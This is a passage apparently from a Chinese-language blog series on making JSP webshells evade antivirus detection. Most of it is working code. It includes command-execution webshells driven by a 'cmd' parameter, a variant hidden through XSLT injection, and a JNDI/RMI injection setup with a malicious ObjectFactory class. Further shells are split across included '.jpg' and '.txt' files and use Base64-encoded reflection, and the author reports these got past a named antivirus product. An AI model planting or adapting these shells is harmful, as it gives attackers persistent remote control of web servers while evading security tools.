InputStream is = process.start().getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
其實就是利用XSLT注入來執行命令,但值得注意的是XSLT注入筆者目前并沒有想到合適的方法讓內容回顯,因為XSLT貌似只能執行靜態方法且返回值都是以String類型返回,導致process中的數據很難取出來。
<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
String cmd = request.getParameter("cmd");
String s = " <xsl:stylesheet version=\"1.0\" " +
"xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
"xmlns:rt=\"java.lang.Runtime\"> " +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n" +
" <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'"+cmd+"')\"/>\n" +
" <xsl:variable name=\"ddd\" select=\"$process\"/>\n" +
" <xsl:value-of select=\"$ddd\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
InputStream in = new ByteArrayInputStream(s.getBytes());
StreamResult result = new StreamResult(new ByteArrayOutputStream());
Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
t.transform(new StreamSource(new ByteArrayInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?><data></data>".getBytes())),result);
%>
攻擊者:
package com.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
惡意類:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(nameCtx);
//Runtime.getRuntime().exec("calc");
return null;
}
}
webshell:
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
%>
本章主要是通過自己創造漏洞來執行命令,而我們用到的這些函數其實也是業務中比較常見的函數,且如果不了解漏洞原理,也不好分析是否是webshell
本章只要將之前沒講的一些免殺反射進行補充
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%@ include file = "1.jpg" %>
1.jpg
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免殺效果:
可以看到某盾會查殺jpg文件,這樣的話,我們就在分解成多個部分
這里我們分成兩部分進行包含
發現依舊繞不過,其實原因就是殺軟的匹配規則,有的是單一匹配,有的是同時匹配,因此我們換一個之前不免殺的webshell(由于兩處及以上特征存在導致被查殺)
正常運行
某盾不在查殺
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ include file = "1.jpg" %>
<%@ include file = "2.txt" %>
1.jpg
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
%>
2.txt
<%
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
java的免殺只要就是在于如何利用字節碼,jsp特性,創建漏洞,少見的API等方式去繞過殺軟的正則表達式,一般的殺軟為了降低誤報率,其實規則寫的并不苛刻,還是比較好繞過了,多種免殺一起使用可以達到比較好的效果,其實學免殺,并不是盲目去測試,而且要了解更多的語言特性,就相當于游戲規則,當你足夠了解游戲規則,再去測試殺軟的規則,才能游刃有余。從才開始的php到現在的jsp,免殺系列已經寫了10來篇了,weshell免殺就此先告一段落,后面如果有新的知識點也會繼續補充,感謝大家。
原文鏈接:https://f5.pm/go-126866.html?utm_source=tuicool&utm_medium=referral
*請認真填寫需求信息,我們會在24小時內與您取得聯系。